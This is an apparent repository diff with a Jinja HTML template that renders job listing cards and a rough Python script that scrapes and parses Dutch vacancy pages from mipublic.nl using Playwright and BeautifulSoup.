<div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
|
|
5
|
+
|
|
6
|
+
<!-- Header Summary -->
|
|
7
|
+
<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
|
|
8
|
+
<h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
|
|
9
|
+
<span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
|
|
10
|
+
</div>
|
|
11
|
+
|
|
12
|
+
<!-- Job Cards List -->
|
|
13
|
+
<div style="display: flex; flex-direction: column; gap: 16px;">
|
|
14
|
+
{% for row in display_rows %}
|
|
15
|
+
<div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
|
|
16
|
+
|
|
17
|
+
<!-- Top Row: Title & Company -->
|
|
18
|
+
<div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
|
|
19
|
+
<div>
|
|
20
|
+
<h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
|
|
21
|
+
<a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
|
|
22
|
+
{{ row["title"] or "Untitled Position" }}
|
|
23
|
+
</a>
|
|
24
|
+
</h3>
|
|
25
|
+
<div style="font-size: 1rem; color: #444; font-weight: 500;">
|
|
26
|
+
🏢 {{ row["company"] or "Unknown Company" }}
|
|
27
|
+
{% if row["location"] %} • 📍 {{ row["location"] }}{% endif %}
|
|
28
|
+
</div>
|
|
29
|
+
</div>
|
|
30
|
+
|
|
31
|
+
<!-- Site Badge -->
|
|
32
|
+
{% if row["site"] %}
|
|
33
|
+
<span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
|
|
34
|
+
{{ row["site"] }}
|
|
35
|
+
</span>
|
|
36
|
+
{% endif %}
|
|
37
|
+
</div>
|
|
38
|
+
|
|
39
|
+
<!-- Meta Details Grid (Rate, Clock, Dates) -->
|
|
40
|
+
<div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
|
|
41
|
+
{% if row["rate"] %}
|
|
42
|
+
<div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
|
|
43
|
+
{% endif %}
|
|
44
|
+
{% if row["clock"] %}
|
|
45
|
+
<div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
|
|
46
|
+
{% endif %}
|
|
47
|
+
{% if row["start_date"] or row["end_date"] %}
|
|
48
|
+
<div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} → {{ row["end_date"] or "Ongoing" }}</div>
|
|
49
|
+
{% endif %}
|
|
50
|
+
</div>
|
|
51
|
+
|
|
52
|
+
<!-- Description Snippet -->
|
|
53
|
+
{% if row["description"] %}
|
|
54
|
+
<div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
|
|
55
|
+
{{ row["description"] }}
|
|
56
|
+
</div>
|
|
57
|
+
{% endif %}
|
|
58
|
+
|
|
59
|
+
<!-- Skills Tags (JSON field handled cleanly) -->
|
|
60
|
+
{% if row["skills"] %}
|
|
61
|
+
<div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
|
|
62
|
+
{% set skills_data = row["skills"] %}
|
|
63
|
+
{# Handles cases where JSON is parsed or remains a string #}
|
|
64
|
+
{% if skills_data is string %}
|
|
65
|
+
<span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
|
|
66
|
+
{% else %}
|
|
67
|
+
{% for skill in skills_data %}
|
|
68
|
+
<span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
|
|
69
|
+
{% endfor %}
|
|
70
|
+
{% endif %}
|
|
71
|
+
</div>
|
|
72
|
+
{% endif %}
|
|
73
|
+
|
|
74
|
+
</div>
|
|
75
|
+
{% endfor %}
|
|
76
|
+
</div>
|
|
77
|
+
</div>
|
|
78
|
+
{% endblock %}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
from __init__ import *
|
|
2
|
+
from bs4 import BeautifulSoup
|
|
3
|
+
import os
|
|
4
|
+
#with sync_playwright() as playwright:
|
|
5
|
+
# content = load_site(
|
|
6
|
+
# playwright=playwright,
|
|
7
|
+
# url="https://mipublic.nl/vacature-sitemap.xml",
|
|
8
|
+
# cookie_css='button:has-text("Alles toestaan")',
|
|
9
|
+
# start_url="https://mipublic.nl"
|
|
10
|
+
#)
|
|
11
|
+
|
|
12
|
+
xs = os.listdir("vacatures/")
|
|
13
|
+
for x in xs:
|
|
14
|
+
print(x)
|
|
15
|
+
with open(f"vacatures/{x}", "rb") as f:
|
|
16
|
+
xs = BeautifulSoup(f, features="html.parser")
|
|
17
|
+
euro = None
|
|
18
|
+
location = None
|
|
19
|
+
gemeente = None
|
|
20
|
+
clock = None
|
|
21
|
+
start_date = None
|
|
22
|
+
end_date = None
|
|
23
|
+
title = None
|
|
24
|
+
|
|
25
|
+
def lookup_attr(x,name):
|
|
26
|
+
return x.find("i", {'class': name}).find_parent().contents[1].strip()
|
|
27
|
+
|
|
28
|
+
for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
|
|
29
|
+
title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
|
|
30
|
+
gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
|
|
31
|
+
|
|
32
|
+
job_description = xs.find("div", {'class': 'compnay_description_text'}).get_text(" ")
|
|
33
|
+
eisen = xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})
|
|
34
|
+
eisen_technisch = xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})
|
|
35
|
+
|
|
36
|
+
print(eisen_technisch)
|
|
37
|
+
# print(content)
|
|
38
|
+
import sys; sys.exit(0)
|
|
39
|
+
for x in xs.find_all("div", {'class': 'company-details'}):
|
|
40
|
+
euro = lookup_attr(x, 'fa-euro-sign')
|
|
41
|
+
location = lookup_attr(x, 'fa-location-dot')
|
|
42
|
+
clock = lookup_attr(x, 'fa-clock')
|
|
43
|
+
start_date = lookup_attr(x, 'fa-calendar-check')
|
|
44
|
+
end_date = lookup_attr(x, 'fa-calendar-xmark')
|
|
45
|
+
print(f"{title} / {gemeente}")
|
|
46
|
+
print(f"{euro} / {location} / {clock} / {start_date} / {end_date}")
|
|
47
|
+
|
|
48
|
+
# print(xs.find_all("div", {'class': 'company-description'}))
|
|
49
|
+
|
|
50
|
+
#import sys; sys.exit()
|
|
51
|
+
#print(content)
|
|
52
|
+
with sync_playwright() as playwright:
|
|
53
|
+
with open('vacatures.html', 'r+') as v:
|
|
54
|
+
xs = BeautifulSoup(v)
|
|
55
|
+
ass = []
|
|
56
|
+
for tr in xs.find_all('tr'):
|
|
57
|
+
ass += [a.attrs['href'] for a in tr.find_all('a') ]
|
|
58
|
+
print(ass)
|
|
59
|
+
for href in ass:
|
|
60
|
+
content = load_site(
|
|
61
|
+
playwright=playwright,
|
|
62
|
+
url=href,
|
|
63
|
+
cookie_css='button:has-text("Alles toestaan")',
|
|
64
|
+
start_url="https://mipublic.nl"
|
|
65
|
+
)
|
|
66
|
+
u = hash(href)
|
|
67
|
+
open(f"vacatures/{u}.html", 'wb ').write(content.encode('utf-8'))
|
|
68
|
+
|
|
69
|
+
import sys; sys.exit()
|